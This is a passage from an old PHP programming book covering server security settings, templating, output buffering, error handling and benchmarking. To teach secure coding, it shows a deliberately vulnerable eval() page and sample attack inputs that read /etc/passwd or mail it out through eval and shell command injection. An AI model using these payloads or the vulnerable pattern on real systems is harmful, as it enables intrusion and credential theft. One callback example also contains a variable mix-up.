Programming php 1 - [PDF Document] (292)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

292 | Chapter 12: Security

If you have .htaccess capabilities on your server and Apache is configured to let youoverride Options, you can make the change yourself.

For the most secure session variables possible, create your own session store (e.g., ina database). Details for creating a session store are given in Chapter 7.

Don’t Use FilesBecause all scripts running on a machine run as the same user, a file that one scriptcreates can be read by another, regardless of which user wrote the script. All a scriptneeds to know to read a file is the name of that file.

There is no way to change this, so the best solution is to not use files. As with ses-sion stores, the most secure place to store data is in a database.

A complex workaround is to run a separate Apache daemon for each user. If you adda reverse proxy such as Squid in front of the pool of Apache instances, you may beable to serve 100+ users on a single machine. Few sites do this, however, because thecomplexity and cost are much greater than those for the typical situation, where oneApache daemon can serve web pages for thousands of users.

Safe ModeMany ISPs have scripts from several users running on one web server. Since all theusers who share such a server run their PHP scripts as the same user, one script canread another’s data files. Safe mode is an attempt to address this and other problemscaused by shared servers. If you’re not sharing your server with other users that youdon’t trust, you don’t need to worry about safe mode at all.

When enabled through the safe_mode directive in your php.ini file, or on a per-direc-tory or per-virtual host basis in your httpd.conf file, the following restrictions areapplied to PHP scripts:

• PHP looks at the owner of the running script and pretends* to run as that user.

• Any file operation (through functions such as fopen( ), copy( ), rename( ), move( ),unlink( ), chmod( ), chown( ), chgrp( ), mkdir( ), file( ), flock( ), rmdir( ), anddir( )) checks to see if the affected file or directory is owned by the same user asthe PHP script.

• If safe_mode_gid is enabled in your php.ini or httpd.conf file, only the group IDneeds to match.

• include and require are subject to the two previous restrictions, with the excep-tion of includes and requires of files located in the designated safe_mode_include_dir in your php.ini or httpd.conf file.

* PHP can’t switch the user ID via a setuid( ) call because that would require the web server to run as rootand on most operating systems it would be impossible to switch back.

,ch12.16671 Page 292 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (293)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Concealing PHP Libraries | 293

• Any system call (through functions such as system( ), exec( ), passthru( ), andpopen( )) can access only executables located in the designated safe_mode_exec_dir in your php.ini or httpd.conf file.

• If safe_mode_protected_env_vars is set in your php.ini or httpd.conf file, scriptsare unable to overwrite the environment variables listed there.

• If a prefix is set in safe_mode_allowed_env_vars in your php.ini or httpd.conf file,scripts can manipulate only environment variables starting with that prefix.

• When using HTTP authentication, the numerical user ID of the current PHPscript is appended to the realm* string to prevent cross-script password sniffing,and the authorization header in the getallheaders( ) and phpinfo( ) output ishidden.

• The functions set_time_limit( ), dl( ), and shell_exec( ) are disabled, as is thebacktick (``) operator.

To configure safe_mode and the various related settings, you can set the serverwidedefault in your php.ini file like this:

safe_mode = Onsafe_mode_include_dir = /usr/local/php/includesafe_mode_exec_dir = /usr/local/php/binsafe_mode_gid = Onsafe_mode_allowed_env_vars = PHP_safe_mode_protected_env_vars = LD_LIBRARY_PATH

Alternately, you can set these from your httpd.conf file using the php_admin_valuedirective. Remember, these are system-level settings, and they cannot be set in your.htaccess file.

<VirtualHost 1.2.3.4> ServerName domainA.com DocumentRoot /web/sites/domainA php_admin_value safe_mode On php_admin_value safe_mode_include_dir /usr/local/php/include php_admin_value safe_mode_exec_dir /usr/local/php/bin</VirtualHost>

Concealing PHP LibrariesMany a hacker has learned of weaknesses by downloading include files or data thatare stored alongside HTML and PHP files in the web server’s document root. To pre-vent this from happening to you, all you need to do is store code libraries and dataoutside the server’s document root.

For example, if the document root is /home/httpd/html, everything below that direc-tory can be downloaded through a URL. It is a simple matter to put your library

* This realm-mangling took a little vacation in PHP 4.0.x but is back in PHP 4.1 and later.

,ch12.16671 Page 293 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (294)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

294 | Chapter 12: Security

code, configuration files, log files, and other data outside that directory (e.g., in /usr/local/lib/myapp). This doesn’t prevent other users on the web server from accessingthose files (see the section on “File Permissions” earlier in this chapter), but it doesprevent the files from being downloaded by remote users.

If you must store these auxiliary files in your document root, you can configure theweb server to deny requests for those files. For example, this tells Apache to denyrequests for any file with a .inc extension, a common extension for PHP include files:

<Files ~ "\.inc$"> Order allow,deny Deny from all</Files>

If you store code libraries in a different directory from the PHP pages that use them,you’ll need to tell PHP where the libraries are. Either give a path to the code in eachinclude( ) or require( ), or change include_path in php.ini:

include_path = ".:/usr/local/php:/usr/local/lib/myapp";

PHP CodeWith the eval( ) function, PHP allows a script to execute arbitrary PHP code.Although it can be useful in a few limited cases, allowing any user-supplied data togo into an eval( ) call is asking to be hacked. For instance, the following code is asecurity nightmare:

<html> <head> <title>Here are the keys...</title> </head> <body> <?php if ($code) { echo "Executing code...";

eval(stripslashes($code)); // BAD! } ?>

<form> <input type="text" name="code" /> <input type="submit" name="Execute Code" /> </form> </body></html>

This page takes some arbitrary PHP code from a form and runs it as part of thescript. The running code has access to all of the global variables for the script andruns with the same privileges as the script running the code. It’s not hard to see whythis is a problem—type this into the form:

include('/etc/passwd');

Unfortunately, there’s no easy way to ensure that a script like this can ever be secure.

,ch12.16671 Page 294 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (295)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Shell Commands | 295

You can globally disable particular function calls by listing them, separated by com-mas, in the disable_functions configuration option in php.ini. For example, you maynever have need for the system( ) function, so you can disable it entirely with:

disable_functions = system

This doesn’t make eval( ) any safer, though, as there’s no way to prevent importantvariables from being changed or built-in constructs such as echo( ) from being called.

Note that the preg_replace( ) function with the /e option also calls eval( ) on PHPcode, so don’t use user-supplied data in the replacement string.

In the case of include, require, include_once, and require_once, your best bet is toturn off remote file access using allow_url_fopen.

The main message of this section is that any use of eval( ) and the /e option withpreg_replace( ) is suspect, especially if you allow users to put bits into the code.Consider the following:

eval("2 + $user_input");

It seems pretty innocuous. However, suppose the user enters the following value:

2; mail("[emailprotected]", "Some passwords", `/bin/cat /etc/passwd`);

In this case, both the command you expected and one you’d rather wasn’t will beexecuted. The only viable solution is to never give user-supplied data to eval( ).

Shell CommandsBe very wary of using the exec( ), system( ), passthru( ), and popen( ) functions andthe backtick (``) operator in your code. The shell is a problem because it recognizesspecial characters (e.g., semicolons to separate commands). For example, supposeyour script contains this line:

system("ls $directory");

If the user passes the value "/tmp;cat /etc/passwd" as the $directory parameter,your password file is displayed because system( ) executes the following command:

ls /tmp;cat /etc/passwd

In cases where you must pass user-supplied arguments to a shell command, useescapeshellarg( ) on the string to escape any sequences that have special meaning toshells:

$cleaned_up = escapeshellarg($directory);system("ls $cleaned_up");

Now, if the user passes "/tmp;cat /etc/passwd", the command that’s actually run is:

ls '/tmp;cat /etc/passwd'

The easiest way to avoid the shell is to do the work of whatever program you’re tryingto call. Built-in functions are likely to be more secure than anything involving the shell.

,ch12.16671 Page 295 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (296)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

296 | Chapter 12: Security

Security ReduxBecause security is such an important issue, we want to reiterate the main points ofthis chapter:

• Check every value supplied to your program to ensure that the data you’re get-ting is the data you expected to get.

• Always initialize your variables.

• Set variables_order. Use $_REQUEST and friends.

• Whenever you construct a filename from a user-supplied component, check thecomponents with basename( ) and realpath( ).

• Don’t create a file and then change its permissions. Instead, set umask( ) so thatthe file is created with the correct permissions.

• Don’t use user-supplied data with eval( ), preg_replace( ) with the /e option, orany of the system commands (exec( ), system( ), popen( ), passthru( ), and thebacktick (``) operator).

• Store code libraries and data outside the document root.

,ch12.16671 Page 296 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (297)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

297

Chapter 13 CHAPTER 13

Application Techniques

By now, you should have a solid understanding of the details of the PHP language andits use in a variety of common situations. Now we’re going to show you some tech-niques that you may find useful in your PHP applications, such as code libraries, tem-plating systems, efficient output handling, error handling, and performance tuning.

Code LibrariesAs you’ve seen, PHP ships with numerous extension libraries that combine usefulfunctionality into distinct packages that you can access from your scripts. In previ-ous chapters, we’ve covered using the GD, pdflib, and Sablotron extension libraries,and Appendix B lists all of the available extensions.

In addition to using the extensions that ship with PHP, you can create libraries ofyour own code that you can use in more than one part of your web site. The generaltechnique is to store a collection of related functions in a file, typically with a .inc fileextension. Then, when you need to use that functionality in a page, you can userequire_once( ) to insert the contents of the file into your current script.

For example, say you have a collection of functions that help create HTML form ele-ments in valid HTML—one function creates a text field or a textarea (depending onhow many characters you tell it the maximum is), another creates a series of pop-upsfrom which to set a date and time, and so on. Rather than copying the code intomany pages, which is tedious, error-prone, and makes it difficult to fix any bugsfound in the functions, creating a function library is the sensible choice.

When you are combining functions into a code library, you should be careful tomaintain a balance between grouping related functions and including functions thatare not often used. When you include a code library in a page, all of the functions inthat library are parsed, whether you use them all or not. PHP’s parser is quick, butnot parsing a function is even faster. At the same time, you don’t want to split yourfunctions over too many libraries, so that you have to include lots of files in eachpage, because file access is slow.

,ch13.16807 Page 297 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (298)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

298 | Chapter 13: Application Techniques

Templating SystemsA templating system provides a way of separating the code in a web page from thelayout of that page. In larger projects, templates can be used to allow designers todeal exclusively with designing web pages and programmers to deal (more or less)exclusively with programming. The basic idea of a templating system is that the webpage itself contains special markers that are replaced with dynamic content. A webdesigner can create the HTML for a page and simply worry about the layout, usingthe appropriate markers for different kinds of dynamic content that are needed. Theprogrammer, on the other hand, is responsible for creating the code that generatesthe dynamic content for the markers.

To make this more concrete, let’s look at a simple example. Consider the followingweb page, which asks the user to supply a name and, if a name is provided, thanksthe user:

<html> <head> <title>User Information</title> </head>

<body> <?php if (!empty($_GET['name'])) { // do something with the supplied values ?>

<p><font face="helvetica,arial">Thank you for filling out the form, <?php echo $_GET['name'] ?>.</font></p><?php }else { ?> <p><font face="helvetica,arial">Please enter the following information:</font></p>

<form action="<?php echo $_SERVER['PHP_SELF'] ?>"> <table> <tr> <td>Name:</td> <td><input type="text" name="name" /></td> </tr> </table> </form> <?php } ?> </body></html>

The placement of the different PHP elements within various layout tags, such as thefont and table elements, are better left to a designer, especially as the page gets morecomplex. Using a templating system, we can split this page into separate files, somecontaining PHP code and some containing the layout. The HTML pages will thencontain special markers where dynamic content should be placed. Example 13-1shows the new HTML template page for our simple form, which is stored in the file

,ch13.16807 Page 298 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (299)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Templating Systems | 299

user.template. It uses the {DESTINATION} marker to indicate the script that should pro-cess the form.

Example 13-2 shows the template for the thank you page, called thankyou.template,that is displayed after the user has filled out the form. This page uses the {NAME}marker to include the value of the user’s name.

Now we need a script that can process these template pages, filling in the appropri-ate information for the various markers. Example 13-3 shows the PHP script thatuses these templates (one for before the user has given us information and one forafter). The PHP code uses the FillTemplate( ) function to join our values and thetemplate files.

Example 13-1. HTML template for user input form

<html> <head> <title>User Information</title> </head>

<body> <p><font face="helvetica,arial">Please enter the following information:</font></p>

<form action="{DESTINATION}"> <table> <tr> <td>Name:</td> <td><input type="text" name="name" /></td> </tr> </table> </form> </body></html>

Example 13-2. HTML template for thank you page

<html> <head> <title>Thank You</title> </head>

<body> <p><font face="helvetica,arial">Thank you for filling out the form, {NAME}.</font></p> </body></html>

Example 13-3. Template script

$bindings['DESTINATION'] = $PHP_SELF;

$name = $_GET['name'];

,ch13.16807 Page 299 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (300)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

300 | Chapter 13: Application Techniques

Example 13-4 shows the FillTemplate( ) function used by the script in Example 13-3.The function takes a template filename (to be located in the document root in a direc-tory called templates), an array of values, and an optional instruction denoting whatto do if a marker is found for which no value is given. The possible values are:"delete", which deletes the marker; "comment", which replaces the marker with acomment noting that the value is missing; or anything else, which just leaves themarker alone.

Clearly, this example of a templating system is somewhat contrived. But if you thinkof a large PHP application that displays hundreds of news articles, you can imaginehow a templating system that used markers such as {HEADLINE}, {BYLINE}, and

if (!empty($name)) { // do something with the supplied values $template = "thankyou.template"; $bindings['NAME'] = $name;}else { $template = "user.template";}

echo FillTemplate($template, $bindings);

Example 13-4. The FillTemplate( ) function

function FillTemplate($inName, $inValues = array( ), $inUnhandled = "delete") { $theTemplateFile = $_SERVER['DOCUMENT_ROOT'] . '/templates/' . $inName; if ($theFile = fopen($theTemplateFile, 'r')) { $theTemplate = fread($theFile, filesize($theTemplateFile)); fclose($theFile); }

$theKeys = array_keys($inValues); foreach ($theKeys as $theKey) { // look for and replace the key everywhere it occurs in the template $theTemplate = str_replace("\{$theKey}", $inValues[$theKey], $theTemplate); }

if ('delete' == $inUnhandled ) { // remove remaining keys $theTemplate = eregi_replace('{[^ }]*}', '', $theTemplate); } elseif ('comment' == $inUnhandled ) { // comment remaining keys $theTemplate = eregi_replace('{([^ }]*)}', '<!-- \\1 undefined -->', $theTemplate); }

return $theTemplate;}

Example 13-3. Template script (continued)

,ch13.16807 Page 300 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (301)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Handling Output | 301

{ARTICLE} might be useful, as it would allow designers to create the layout for articlepages without needing to worry about the actual content.

While templates may reduce the amount of PHP code that designers have to see, thereis a performance trade-off, as every request incurs the cost of building a page from thetemplate. Performing pattern matches on every outgoing page can really slow down apopular site. Andrei Zmievski’s Smarty is an efficient templating system that neatlyside-steps this performance problem. Smarty turns the template into straight PHPcode and caches it. Instead of doing the template replacement on every request, itdoes it only whenever the template file is changed. See http://www.phpinsider.com/php/code/Smarty/ for more information.

Handling OutputPHP is all about displaying output in the web browser. As such, there are a few dif-ferent techniques that you can use to handle output more efficiently or conveniently.

Output BufferingBy default, PHP sends the results of echo and similar commands to the browser aftereach command is executed. Alternately, you can use PHP’s output buffering func-tions to gather the information that would normally be sent to the browser into abuffer and send it later (or kill it entirely). This allows you to specify the contentlength of your output after it is generated, capture the output of a function, or dis-card the output of a built-in function.

You turn on output buffering with the ob_start( ) function:

ob_start([callback]);

The optional callback parameter is the name of a function that post-processes the out-put. If specified, this function is passed the collected output when the buffer is flushed,and it should return a string of output to send to the browser. You can use this, forinstance, to turn all occurrences of http://www.yoursite.com/ to http://www.mysite.com/.

While output buffering is enabled, all output is stored in an internal buffer. To getthe current length and contents of the buffer, use ob_get_length( ) and ob_get_contents( ):

$len = ob_get_length( );$contents = ob_get_contents( );

If buffering isn’t enabled, these functions return false.

There are two ways to throw away the data in the buffer. The ob_clean( ) functionerases the output buffer but does not turn off buffering for subsequent output. Theob_end_clean( ) function erases the output buffer and ends output buffering.

There are three ways to send the collected output to the browser (this action isknown as flushing the buffer). The ob_flush( ) function sends the output data to the

,ch13.16807 Page 301 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (302)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

302 | Chapter 13: Application Techniques

web server and clears the buffer, but doesn’t terminate output buffering. The flush( )function not only flushes and clears the output buffer, but also tries to make the webserver send the data to the browser immediately. The ob_end_flush( ) function sendsthe output data to the web server and ends output buffering. In all cases, if you speci-fied a callback with ob_start( ), that function is called to decide exactly what getssent to the server.

If your script ends with output buffering still enabled (that is, if you haven’t calledob_end_flush( ) or ob_end_clean( )), PHP calls ob_end_flush( ) for you.

The following code collects the output of the phpinfo( ) function and uses it to deter-mine whether you have the PDF module installed:

ob_start( );phpinfo( );$phpinfo = ob_get_contents( );ob_end_clean( );

if (strpos($phpinfo, "module_pdf") === FALSE) { echo "You do not have PDF support in your PHP, sorry.";} else { echo "Congratulations, you have PDF support!";}

Of course, a quicker and simpler approach to check if a certain extension is availableis to pick a function that you know the extension provides and check if it exists. Forthe PDF extension, you might do:

if (function_exists('pdf_begin_page'))

To change all references in a document from http://www.yoursite.com/ to http://www.mysite.com/, simply wrap the page like this:

<?php // at the very start of the file ob_start( );?>

Visit <A HREF="http://www.yoursite.com/foo/bar">our site</A> now!

<?php $contents = ob_get_contents( ); ob_end_clean( ); echo str_replace('http://www.yoursite.com/', 'http://www.mysite.com/', $contents);?>Visit <A HREF="http://www.mysite.com/foo/bar">our site</A> now!

Another way to do this is with a callback. Here, the rewrite( ) callback changes thetext of the page:

<?php // at the very start of the file function rewrite ($text) { return str_replace('http://www.yoursite.com/', 'http://www.mysite.com/', $contents);

,ch13.16807 Page 302 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (303)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Error Handling | 303

} ob_start('rewrite');?>Visit <A HREF="http://www.yoursite.com/foo/bar">our site</A> now!Visit <A HREF="http://www.mysite.com/foo/bar">our site</A> now!

Compressing OutputRecent browsers support compressing the text of web pages; the server sends com-pressed text and the browser decompresses it. To automatically compress your webpage, wrap it like this:

<?php ob_start('ob_gzhandler');?>

The built-in ob_gzhandler( ) function is designed to be used as a callback with ob_start( ). It compresses the buffered page according to the Accept-Encoding headersent by the browser. Possible compression techniques are gzip, deflate, or none.

It rarely makes sense to compress short pages, as the time for compression anddecompression exceeds the time it would take to simply send the uncompressed text.It does make sense to compress large (greater than 5 KB) web pages, though.

Instead of adding the ob_start( ) call to the top of every page, you can set theoutput_handler option in your php.ini file to a callback to be made on every page. Forcompression, this is ob_gzhandler.

Error HandlingError handling is an important part of any real-world application. PHP provides anumber of mechanisms that you can use to handle errors, both during the develop-ment process and once your application is in a production environment.

Error ReportingNormally, when an error occurs in a PHP script, the error message is inserted intothe script’s output. If the error is fatal, the script execution stops.

There are three levels of conditions: notices, warnings, and errors. A notice is a con-dition encountered while executing a script that could be an error but could also beencountered during normal execution (e.g., trying to access a variable that has notbeen set). A warning indicates a nonfatal error condition; typically, warnings are dis-played when calling a function with invalid arguments. Scripts will continue execut-ing after issuing a warning. An error indicates a fatal condition from which the scriptcannot recover. A parse error is a specific kind of error that occurs when a script issyntactically incorrect. All errors except parse errors are runtime errors.

,ch13.16807 Page 303 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (304)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

304 | Chapter 13: Application Techniques

By default, all conditions except runtime notices are caught and displayed to theuser. You can change this behavior globally in your php.ini file with the error_reporting option. You can also locally change the error-reporting behavior in a scriptusing the error_reporting( ) function.

With both the error_reporting option and the error_reporting( ) function, youspecify the conditions that are caught and displayed by using the various bitwiseoperators to combine different constant values, as listed in Table 13-1. For example,this indicates all error-level options:

(E_ERROR | E_PARSE | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR)

while this indicates all options except runtime notices:

(E_ALL & ~E_NOTICE)

If you set the track_errors option on in your php.ini file, a description of the currenterror is stored in $PHP_ERRORMSG.

Error SuppressionYou can disable error messages for a single expression by putting the error suppres-sion operator @ before the expression. For example:

$value = @(2 / 0);

Without the error suppression operator, the expression would normally halt execu-tion of the script with a “divide by zero” error. As shown here, the expression doesnothing. The error suppression operator cannot trap parse errors, only the varioustypes of runtime errors.

Table 13-1. Error-reporting values

Value Meaning

E_ERROR Runtime errors

E_WARNING Runtime warnings

E_PARSE Compile-time parse errors

E_NOTICE Runtime notices

E_CORE_ERROR Errors generated internally by PHP

E_CORE_WARNING Warnings generated internally by PHP

E_COMPILE_ERROR Errors generated internally by the Zend scripting engine

E_COMPILE_WARNING Warnings generated internally by the Zend scripting engine

E_USER_ERROR Runtime errors generated by a call to trigger_error( )

E_USER_WARNING Runtime warnings generated by a call to trigger_error( )

E_USER_NOTICE Runtime warnings generated by a call to trigger_error( )

E_ALL All of the above options

,ch13.16807 Page 304 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (305)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Error Handling | 305

To turn off error reporting entirely, use:

error_reporting(0);

This ensures that, regardless of the errors encountered while processing and execut-ing your script, no errors will be sent to the client (except parse errors, which cannotbe suppressed). Of course, it doesn’t stop those errors from occurring. Better optionsfor controlling which error messages are displayed in the client are shown in the sec-tion “Defining Error Handlers.”

Triggering ErrorsYou can throw an error from within a script with the trigger_error( ) function:

trigger_error(message [, type]);

The first parameter is the error message; the second, optional, parameter is the con-dition level, which is either E_USER_ERROR, E_USER_WARNING, or E_USER_NOTICE (thedefault).

Triggering errors is useful when writing your own functions for checking the sanityof parameters. For example, here’s a function that divides one number by anotherand throws an error if the second parameter is zero:

function divider($a, $b) { if($b == 0) { trigger_error('$b cannot be 0', E_USER_ERROR); }

return($a / $b);}

echo divider(200, 3);echo divider(10, 0);66.666666666667Fatal error: $b cannot be 0 in page.php on line 5

Defining Error HandlersIf you want better error control than just hiding any errors (and you usually do), youcan supply PHP with an error handler. The error handler is called when a conditionof any kind is encountered and can do anything you want it to, from logging to a fileto pretty-printing the error message. The basic process is to create an error-handlingfunction and register it with set_error_handler( ).

The function you declare can take in either two or five parameters. The first twoparameters are the error code and a string describing the error. The final three param-eters, if your function accepts them, are the filename in which the error occurred, theline number at which the error occurred, and a copy of the active symbol table at the

,ch13.16807 Page 305 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (306)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

306 | Chapter 13: Application Techniques

time the error happened. Your error handler should check the current level of errorsbeing reported with error_reporting( ) and act appropriately.

The call to set_error_handler( ) returns the current error handler. You can restorethe previous error handler either by calling set_error_handler( ) with the returnedvalue when your script is done with its own error handler, or by calling the restore_error_handler( ) function.

The following code shows how to use an error handler to format and print errors:

function display_error($error, $error_string, $filename, $line, $symbols) { echo "<p>The error '<b>$error_string</b>' occurred in the file '<i>$filename</i>'on line $line.</p>";}

set_error_handler('display_error');$value = 4 / 0; // divide by zero error<p>The error '<b>Division by zero</b>' occurred in the file'<i>err-2.php</i>' on line 8.</p>

Logging in error handlers

PHP provides a built-in function, error_log( ), to log errors to the myriad placeswhere administrators like to put error logs:

error_log(message, type [, destination [, extra_headers ]]);

The first parameter is the error message. The second parameter specifies where theerror is logged: a value of 0 logs the error via PHP’s standard error-logging mecha-nism; a value of 1 emails the error to the destination address, optionally adding anyextra_headers to the message; a value of 3 appends the error to the destination file.

To save an error using PHP’s logging mechanism, call error_log( ) with a type of 0. Bychanging the value of error_log in your php.ini file, you can change which file to loginto. If you set error_log to syslog, the system logger is used instead. For example:

error_log('A connection to the database could not be opened.', 0);

To send an error via email, call error_log( ) with a type of 1. The third parameter isthe email address to which to send the error message, and an optional fourth param-eter can be used to specify additional email headers. Here’s how to send an errormessage by email:

error_log('A connection to the database could not be opened.', 1, '[emailprotected]');

Finally, to log to a file, call error_log( ) with a type of 3. The third parameter speci-fies the name of the file to log into:

error_log('A connection to the database could not be opened.', 3, '/var/log/php_errors.log');

Example 13-5 shows an example of an error handler that writes logs into a file androtates the log file when it gets above 1 KB.

,ch13.16807 Page 306 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (307)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Error Handling | 307

Generally, while you are working on a site, you will want errors shown directly in thepages in which they occur. However, once the site goes live, it doesn’t make muchsense to show internal error messages to visitors. A common approach is to usesomething like this in your php.ini file once your site goes live:

display_errors = Offlog_errors = Onerror_log = /tmp/errors.log

This tells PHP to never show any errors, but instead to log them to the location spec-ified by the error_log directive.

Output buffering in error handlers

Using a combination of output buffering and an error handler, you can send differ-ent content to the user, depending on whether various error conditions occur. Forexample, if a script needs to connect to a database, you can suppress output of thepage until the script successfully connects to the database.

Example 13-6 shows the use of output buffering to delay output of a page until it hasbeen generated successfully.

Example 13-5. Log-rolling error handler

function log_roller($error, $error_string) { $file = '/var/log/php_errors.log';

if(filesize($file) > 1024) { rename($file, $file . (string) time( )); clearstatcache( ); }

error_log($error_string, 3, $file);}

set_error_handler('log_roller'); for($i = 0; $i < 5000; $i++) { trigger_error(time( ) . ": Just an error, ma'am.\n"); }restore_error_handler( );

Example 13-6. Output buffering to handle errors

<html><head><title>Results!</title></head><body><?php function handle_errors ($error, $message, $filename, $line) { ob_end_clean( ); echo "<b>$message</b> in line $line of <i>$filename</i></body></html>"; exit; } set_error_handler('handle_errors');

,ch13.16807 Page 307 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (308)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

308 | Chapter 13: Application Techniques

In Example 13-6, after we start the <body> element, we register the error handler andbegin output buffering. If we cannot connect to the database (or if anything else goeswrong in the subsequent PHP code), the heading and table are not displayed.Instead, the user sees only the error message, as shown in Figure 13-1. If no errorsare raised by the PHP code, however, the user simply sees the HTML page.

Performance TuningBefore thinking much about performance tuning, get your code working. Once youhave working code, you can then locate the slow bits. If you try to optimize yourcode while writing it, you’ll discover that optimized code tends to be more difficultto read and to take more time to write. If you spend that time on a section of codethat isn’t actually causing a problem, that’s time that was wasted, especially when itcomes time to maintain that code, and you can no longer read it.

Once you get your code working, you may find that it needs some optimization.Optimizing code tends to fall within one of two areas: shortening execution timesand lessening memory requirements.

ob_start( );?>

<h1>Results!</h1>

Here are the results of your search:<p /><table border=1><?php require_once('DB.php'); $db = DB::connect('mysql://gnat:waldus@localhost/webdb'); if (DB::iserror($db)) die($db->getMessage( )); // ...?></table></body></html>

Figure 13-1. Error message instead of the buffered HTML

Example 13-6. Output buffering to handle errors (continued)

,ch13.16807 Page 308 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (309)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Performance Tuning | 309

Before you begin optimization, ask yourself whether you need to optimize at all. Toomany programmers have wasted hours wondering whether a complex series of stringfunction calls are faster or slower than a single Perl regular expression, when thepage that this code is in is viewed once every five minutes. Optimization is necessaryonly when a page takes so long to load that the user perceives it as slow. Often this isa symptom of a very popular site—if requests for a page come in fast enough, thetime it takes to generate that page can mean the difference between prompt deliveryand server overload.

Once you’ve decided that your page needs optimization, you can move on to work-ing out exactly what is slow. You can use the techniques in the upcoming “Profiling”section to time the various subroutines or logical units of your page. This will giveyou an idea of which parts of your page are taking the longest time to produce—these parts are where you should focus your optimization efforts. If a page is taking 5seconds to produce, you’ll never get it down to 2 seconds by optimizing a functionthat accounts for only 0.25 seconds of the total time. Identify the biggest time-wast-ing blocks of code and focus on them. Time the page and the pieces you’re optimiz-ing, to make sure your changes are having a positive and not negative effect.

Finally, know when to quit. Sometimes there is an absolute limit for the speed atwhich you can get something to run. In these circ*mstances, the only way to get bet-ter performance is to throw new hardware at the problem. The solution might turn outto be faster machines, or more web servers with a reverse-proxy cache in front of them.

BenchmarkingIf you’re using Apache, you can use the Apache benchmarking utility, ab, to do high-level performance testing. To use it, run:

$ /usr/local/apache/bin/ab -c 10 -n 1000 http://localhost/info.php

This command tests the speed of the PHP script info.php 1,000 times, with 10 con-current requests running at any given time. The benchmarking tool returns variousinformation about the test, including the slowest, fastest, and average load times.You can compare those values to a static HTML page to see how quickly your scriptperforms.

For example, here’s the output from 1,000 fetches of a page that simply callsphpinfo( ):

This is ApacheBench, Version 1.3d <$Revision: 1.23 $> apache-1.3Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd,http://www.zeustech.net/Copyright (c) 1998-2001 The Apache Group, http://www.apache.org/

Benchmarking localhost (be patient)Completed 100 requestsCompleted 200 requests

,ch13.16807 Page 309 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (310)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

310 | Chapter 13: Application Techniques

Completed 300 requestsCompleted 400 requestsCompleted 500 requestsCompleted 600 requestsCompleted 700 requestsCompleted 800 requestsCompleted 900 requestsFinished 1000 requestsServer Software: Apache/1.3.22Server Hostname: localhostServer Port: 80

Document Path: /info.phpDocument Length: 49414 bytes

Concurrency Level: 10Time taken for tests: 8.198 secondsComplete requests: 1000Failed requests: 0Broken pipe errors: 0Total transferred: 49900378 bytesHTML transferred: 49679845 bytesRequests per second: 121.98 [#/sec] (mean)Time per request: 81.98 [ms] (mean)Time per request: 8.20 [ms] (mean, across all concurrent requests)Transfer rate: 6086.90 [Kbytes/sec] received

Connnection Times (ms) min mean[+/-sd] median maxConnect: 0 12 16.9 1 72Processing: 7 69 68.5 58 596Waiting: 0 64 69.4 50 596Total: 7 81 66.5 79 596

Percentage of the requests served within a certain time (ms) 50% 79 66% 80 75% 83 80% 84 90% 158 95% 221 98% 268 99% 288 100% 596 (last request)

If your PHP script uses sessions, the results you get from ab will not be representa-tive of the real-world performance of the scripts. Since a session is locked across arequest, results from the concurrent requests run by ab will be extremely poor. How-ever, in normal usage, a session is typically associated with a single user, who isn’tlikely to make concurrent requests.

Using ab tells you the overall speed of your page but gives you no information on thespeed of individual functions of blocks of code within the page. Use ab to test

,ch13.16807 Page 310 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (311)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Performance Tuning | 311

